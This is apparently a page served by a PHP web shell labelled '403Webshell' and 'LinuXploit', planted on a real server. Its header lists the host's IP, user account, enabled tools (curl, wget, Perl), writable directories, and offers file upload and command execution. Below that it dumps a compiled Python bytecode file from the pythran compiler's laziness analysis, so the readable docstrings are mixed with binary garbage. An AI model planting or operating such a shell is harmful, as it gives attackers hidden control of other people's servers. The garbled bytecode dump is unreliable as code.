403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.25
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/pythran/analyses/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/pythran/analyses/__pycache__/lazyness_analysis.cpython-311.pyc
�

cR�a8���dZddlmZddlmZddlmZddlmZddl	m
Z
ddlmZddl
mZmZdd	lmZdd	lmZdd	lZdd	lZGd
�de
��Zd	S)z8 LazynessAnalysis returns number of time a name is use. �)�Aliases)�ArgumentEffects)�Identifiers)�PureExpressions)�FunctionAnalysis)�PythranSyntaxError)�get_variable�isattrNc���eZdZdZed��ZejZ�fd�Z	d�Z
d�Z�fd�Zd�Z
d�Zd	�Zd
�Zd�ZeZd�Zd
�Zd�Zd�Zd�Z�fd�Z�xZS)�LazynessAnalysisa�
    Returns number of time a name is used.

    +inf if it is use in a
    loop, if a variable used to compute it is modify before
    its last use or if it is use in a function call (as it is not an
    interprocedural analysis)

    >>> import gast as ast, sys
    >>> from pythran import passmanager, backend
    >>> code = "def foo(): c = 1; a = c + 2; c = 2; b = c + c + a; return b"
    >>> node = ast.parse(code)
    >>> pm = passmanager.PassManager("test")
    >>> res = pm.gather(LazynessAnalysis, node)
    >>> res['a'], res['b'], res['c']
    (inf, 1, 2)
    >>> code = '''
    ... def foo():
    ...     k = 2
    ...     for i in [1, 2]:
    ...         builtins.print(k)
    ...         k = i
    ...     builtins.print(k)'''
    >>> node = ast.parse(code)
    >>> res = pm.gather(LazynessAnalysis, node)
    >>> (res['i'], res['k']) == (sys.maxsize, 1)
    True
    >>> code = '''
    ... def foo():
    ...     k = 2
    ...     for i in [1, 2]:
    ...         builtins.print(k)
    ...         k = i
    ...         builtins.print(k)'''
    >>> node = ast.parse(code)
    >>> res = pm.gather(LazynessAnalysis, node)
    >>> (res['i'], res['k']) == (sys.maxsize, 2)
    True
    >>> code = '''
    ... def foo():
    ...     d = 0
    ...     for i in [0, 1]:
    ...         for j in [0, 1]:
    ...             k = 1
    ...             d += k * 2
    ...     return d'''
    >>> node = ast.parse(code)
    >>> res = pm.gather(LazynessAnalysis, node)
    >>> res['k']
    1
    >>> code = '''
    ... def foo():
    ...     k = 2
    ...     for i in [1, 2]:
    ...         builtins.print(k)'''
    >>> node = ast.parse(code)
    >>> res = pm.gather(LazynessAnalysis, node)
    >>> res['k'] == sys.maxsize
    True
    >>> code = '''
    ... def foo():
    ...     k = builtins.sum
    ...     builtins.print(k([1, 2]))'''
    >>> node = ast.parse(code)
    >>> res = pm.gather(LazynessAnalysis, node)
    >>> res['k']
    1
    �infc���t��|_t��|_t��|_t	��|_t��|_t	��|_t��|_tt|���ttt��dS�N)�dict�result�
name_count�use�set�dead�pre_loop_count�in_omp�
name_to_nodes�superr�__init__rrr)�self�	__class__s ��D/usr/lib/python3/dist-packages/pythran/analyses/lazyness_analysis.pyrzLazynessAnalysis.__init__[s�����f�f����&�&����6�6����E�E��	�#�f�f����e�e���!�V�V���
���%�%�.�.���/>�	@�	@�	@�	@�	@�c�����fd�|j���D��}|j�|��|D]3}d�|j|D��}|j�|���4dS)Nc�"��g|]\}}�|v�	|��S�r!)�.0�var�deps�names   �r�
<listcomp>z+LazynessAnalysis.modify.<locals>.<listcomp>qs"���K�K�K�Y�S�$�d�d�l�l�S�l�l�lrc�P�g|]#}t|tj���|j��$Sr!)�
isinstance�ast�Name�id)r"�aliass  rr&z+LazynessAnalysis.modify.<locals>.<listcomp>ts:��<�<�<��)�%���:�:�<�E�H�<�<�<r)r�itemsr�updater)rr%�	dead_varsr#�dead_aliasess `   r�modifyzLazynessAnalysis.modifyns����L�K�K�K�$�(�.�.�*:�*:�K�K�K�	��	����#�#�#��	+�	+�C�<�<�$�2D�S�2I�<�<�<�L��I���\�*�*�*�*�	+�	+rc�
�t|tj��r?|j�|jt
�����|��|j|jvr|j�	|j��t|j�|jd��|j
�|jd����|j|j<|j�|j��|j�|jd��}|ds|ddf|j|j<|�|j��d|j
|j<t
|��|j|j<dS)Nr)rT�T)r(r)r*r�
setdefaultr+r�addr�remove�maxr�getrr�discardrr1r)r�node�from_�pre_loops    r�	assign_tozLazynessAnalysis.assign_toxsD���d�C�H�%�%�	D���)�)�$�'�3�5�5�9�9�=�=�d�C�C�C��7�d�i����I���T�W�%�%�%�"�4�;�?�?�4�7�A�#>�#>�#'�?�#6�#6�t�w��#B�#B� D� D���D�G��	
����D�G�$�$�$��&�1�1�$�'�9�E�E����{�	?�,4�Q�K��+>�D����(����D�G����#$����� ���J�J�������rc� ��|j}tj|tj��}|r+t|j�����|_tt|���
|��|r�t|j���|j��}|D]?}|jD]5}t|tj��rtj|j|j<�6�@|j�|��||_dSr)r�mdr8�openmp�OMPDirectiverr�keysrr�visit�
differencer$r(r)r*�INFrr+rr.)rr:�old_omp�	omp_nodes�	new_nodes�omp_node�nrs       �rrCzLazynessAnalysis.visit�s�����+���F�4��!4�5�5�	��	6��d�o�2�2�4�4�5�5�D�K�
���%�%�+�+�D�1�1�1��	(��D�O�,�,�7�7���D�D�I�%�
A�
A��!��A�A�A�!�!�S�X�.�.�A�,<�,@���A�D�)��A�
�I���Y�'�'�'�����rc�p�|�t|��|_|�|��dSr)�gatherr�ids�
generic_visit)rr:s  r�visit_FunctionDefz"LazynessAnalysis.visit_FunctionDef�s1���;�;�{�D�1�1������4� � � � � rc��tj||��|�|j��|�t|j��}|jD]�}t
|tj��r>|�	||��|j|j
vrtj|j
|j<�Zt
|tj��st!|��r]t#|��}t
|tj��r3|�|j��tj|j
|j<��t'd|���dS)NzAssign to unknown node)r?rC�valuerLr�targetsr(r)r*r=�pure_expressionsrrErr+�	Subscriptr
r	r1r)rr:rM�target�var_names     r�visit_AssignzLazynessAnalysis.visit_Assign�s#��
���t�����
�
�4�:�����k�k�+�t�z�2�2���l�	I�	I�F��&�#�(�+�+�

I����v�s�+�+�+��:�T�%:�:�:�-=�-A�D�K��	�*���F�S�]�4�4�	
I��v���	
I�'��/�/���h���1�1�D��K�K���,�,�,�/?�/C�D�K���,��(�)A�4�H�H�H�	I�	Irc�4�tj||��|�|j��t|jt
j��r?|�|jj��tj
|j|jj<dSt|jt
j��st|j��rIt|j��}|�|j��tj
|j|j<dStd|���)NzAugAssign to unknown node)r?rCrQr(rUr)r*r1r+rrErrTr
r	r)rr:rVs   r�visit_AugAssignz LazynessAnalysis.visit_AugAssign�s���
���t�����
�
�4�:�����d�k�3�8�,�,�	H��K�K����'�'�'�*:�*>�D�K����'�'�'�
���S�]�
3�
3�	H�v�d�k�7J�7J�	H�#�D�K�0�0�H��K�K���$�$�$�'7�';�D�K���$�$�$�$�%@�$�G�G�Grc�J���t|jtj��r�|j�jvrӈfd���fd��j|D��}d�|D��}|�|j��|D]�}|j�jvs|j�j	vrtj�j|<�3|�j
vrN�j
|xxdz
cc<�j�|d��}|ds|ddzdf�j|<����dSt|jtj��r,d�j
|j<t#���j|j<dSt|jtj��r6tj�j
|j<t#���j|j<dSdS)Nc�T��t|tj��o
|j�jvSr)r(r)r*r+rM)�xrs �r�
is_loc_varz/LazynessAnalysis.visit_Name.<locals>.is_loc_var�s#���!�!�S�X�.�.�C�1�4�4�8�3C�Crc�*��g|]}�|���
|��Sr!r!)r"r#r]s  �rr&z/LazynessAnalysis.visit_Name.<locals>.<listcomp>�s5���/�/�/�3�(�j��o�o�/�3�/�/�/rc��h|]	}|j��
Sr!)r+)r"r\s  r�	<setcomp>z.LazynessAnalysis.visit_Name.<locals>.<setcomp>�s��5�5�5�A�1�4�5�5�5rr3)rFrF)r(�ctxr)�Loadr+r�aliasesr5rrrrErrrr4�Paramr�Store)rr:�alias_namesr,r<r]s`    @r�
visit_NamezLazynessAnalysis.visit_Name�s������d�h���)�)�!	�d�g���.A�.A�
D�
D�
D�
D�
D�/�/�/�/�$�,�t�*<�/�/�/�K�5�5��5�5�5�K��O�O�D�G�$�$�$�$�
�
���G�t�y�(�(���4�;�.�.�)9�)=�D�K��&�&��d�o�-�-��O�E�*�*�*�a�/�*�*�*�#�2�=�=�e�>H� J� J�H�#�A�;�N�6>�q�k�A�o�u�5M��+�E�2���
�
����#�)�
,�
,�		�'(�D�O�D�G�$� #���D�H�T�W����
���#�)�
,�
,�	�'7�';�D�O�D�G�$� #���D�H�T�W����
�Drc�~�tj||��|�|j��t|j��}t|j��}d�|j���D��}t|j
t��r|j
n|j
g}|D]}|�|���|j}|j}|j}	||_||_||_t|jt��r|jn|jg}
|
D]}|�|���|jD],}||	vr&|j|�
|	|���-|	D](}||jvrt|	|��|j|<�)t|j������|�����}|D]K}
|�|
d��}|j�|
d��}t#||��|j|
<�L|j�
|��dS)Nc�4�i|]\}}|t|����Sr!)r)r"�a�bs   r�
<dictcomp>z-LazynessAnalysis.visit_If.<locals>.<dictcomp>�s$��;�;�;�$�!�Q�A�s�1�v�v�;�;�;rr)r?rC�testrrrrrr-r(�body�list�orelser.rB�unionr8r7)rr:�	old_count�old_dead�old_depsrn�stmt�	mid_count�mid_dead�mid_depsrp�key�namesr%�val_body�val_elses                r�visit_IfzLazynessAnalysis.visit_If�s3��
���t�����
�
�4�9�������)�)�	��t�y�>�>��;�;�$�(�.�.�*:�*:�;�;�;��'�t�y�$�7�7�H�t�y�y�d�i�[���	�	�D��J�J�t������O�	��9���8��#�����	����",�D�K��!>�!>�%�$�+�+���}�	��	�	�D��J�J�t������8�	4�	4�C��h������
�$�$�X�c�]�3�3�3���	3�	3�C��$�(�"�"� #�H�S�M� 2� 2����
���D�O�(�(�*�*�+�+�1�1�)�.�.�2B�2B�C�C���	<�	<�D� �}�}�T�1�-�-�H���*�*�4��3�3�H�$'��(�$;�$;�D�O�D�!�!�	
�	����"�"�"�"�"rc	��|j}t��|_|D]}|�|���d�|j���D��}|j�t
|tjgt|��z����|j���D]L\}}|d|j
|z}t|j�|d��|��|j|<�M|j
�|j��}|j�t
|tjgt|��z����|���D]X\}}|ds	||jvr||j|<�!|d|j|dz|j|df|j|<�YdS)Nc�"�g|]\}\}}|�
|��
Sr!r!)r"rJ�_rjs    rr&z/LazynessAnalysis.visit_loop.<locals>.<listcomp>"s4�����9�1�f�q�!���Q���rrr3)rrrCr-rr.�zipr�MANY�lenrr7r8r�intersectionrE)	rrn�
old_pre_countru�	no_assign�k�v�
loop_valuers	         r�
visit_loopzLazynessAnalysis.visit_loops����+�
�"�f�f����	�	�D��J�J�t��������(;�(A�(A�(C�(C����	�����3�y� 0� 5�6��Y���G�I�I�	J�	J�	J��'�-�-�/�/�	D�	D�D�A�q��1����� 2�2�J� ������A�!6�!6�
�C�C�D�K��N�N��y�%�%�d�&9�:�:������3�t�&6�&:�%;�c�$�i�i�%G�H�H�I�I�I�!�'�'�)�)�	E�	E�D�A�q���t�
E�q�� 3�3�3�)*��#�A�&�&�*+�A�$��1D�Q�1G��1J�*J�*.�*=�a�*@��*C�*E��#�A�&�&�		E�	Erc��tj||��|�t|j��}t|jtj��r:|�	|j|��tj|j|jj
<nd}t||���|�|j��|jD]}|�|���dS)Nz%Assignation in for loop not to a Name)r?rCrLr�iterr(rUr)r*r=rrErr+rr�rnrp)rr:rM�errrus     r�	visit_ForzLazynessAnalysis.visit_For7s���
���t�����k�k�+�t�y�1�1���d�k�3�8�,�,�	0��N�N�4�;��,�,�,�*:�*>�D�K����'�'�9�C�$�S�$�/�/�/�����	�"�"�"��K�	�	�D��J�J�t�����	�	rc���tj||��|�|j��|�|j��|jD]}|�|���dSr)r?rCrmr�rnrp)rr:rus   r�visit_WhilezLazynessAnalysis.visit_WhileFsl��
���t�����
�
�4�9��������	�"�"�"��K�	�	�D��J�J�t�����	�	rc�,�|j|D�]}t|tj��r3|�|jd|jdd�|z|���P||jvrvt|j|��D]Z\}}|rSt|��|kr@t||tj	��r |�
||j���[��t|tj	��r��|D]}|�
|�����dS)Nrr3)rcr(r)�Call�func_args_lazyness�args�argument_effects�	enumerater�r*r1r+)r�	func_namer�r:�fun�i�args       rr�z#LazynessAnalysis.func_args_lazynessOs)���<�	�*�	%�	%�C��#�s�x�(�(�
%��'�'�����S�X�a�b�b�\�D�5H�$�O�O�O�O���-�-�-�'��(=�c�(B�C�C�4�4�F�A�s��4�s�4�y�y�1�}�}�%�d�1�g�s�x�8�8�4� �K�K��Q��
�3�3�3��	4�
�C���*�*�
%�� �%�%�C��K�K��$�$�$�$�%�!	%�	%rc���tj||��|jD]}|�|���|�|j|j|��|�|j��dS)z�
        Compute use of variables in a function call.

        Each arg is use once and function name too.
        Information about modified arguments is forwarded to
        func_args_lazyness.
        N)r?rCr�r��func)rr:r�s   r�
visit_CallzLazynessAnalysis.visit_Callcsn��	���t�����9�	�	�C��J�J�s�O�O�O�O�����	�4�9�d�;�;�;��
�
�4�9�����rc���tt|���|��}|j���D].\}}|�|d��}t
||��||<�/||_|jS)Nr)rr�runrr-r8r7r)rr:rr%�val�old_valrs      �rr�zLazynessAnalysis.runqs{����'��.�.�2�2�4�8�8����.�.�0�0�	-�	-�I�D�#��j�j��q�)�)�G��w��,�,�F�4�L�L�����{�r)�__name__�
__module__�__qualname__�__doc__�floatrE�sys�maxsizer�rr1r=rCrOrWrYrgr}�visit_IfExpr�r�r�r�r�r��
__classcell__)rs@rrrsX�������C�C�J�%��,�,�C��;�D�@�@�@�@�@�&+�+�+�'�'�'�*
�
�
�
�
�!�!�!�I�I�I�(H�H�H�$"�"�"�H*#�*#�*#�X�K�E�E�E�>
�
�
����%�%�%�(�����������rr)r��pythran.analyses.aliasesr�!pythran.analyses.argument_effectsr�pythran.analyses.identifiersr�!pythran.analyses.pure_expressionsr�pythran.passmanagerr�pythran.syntaxr�
pythran.utilsr	r
�pythran.metadata�metadatar?�pythran.openmpr@�gastr)r�rr!rr�<module>r�s��>�>�,�,�,�,�,�,�=�=�=�=�=�=�4�4�4�4�4�4�=�=�=�=�=�=�0�0�0�0�0�0�-�-�-�-�-�-�.�.�.�.�.�.�.�.�����������������
�
�
�
�h�h�h�h�h�'�h�h�h�h�hr

Youez - 2016 - github.com/yon3zu
LinuXploit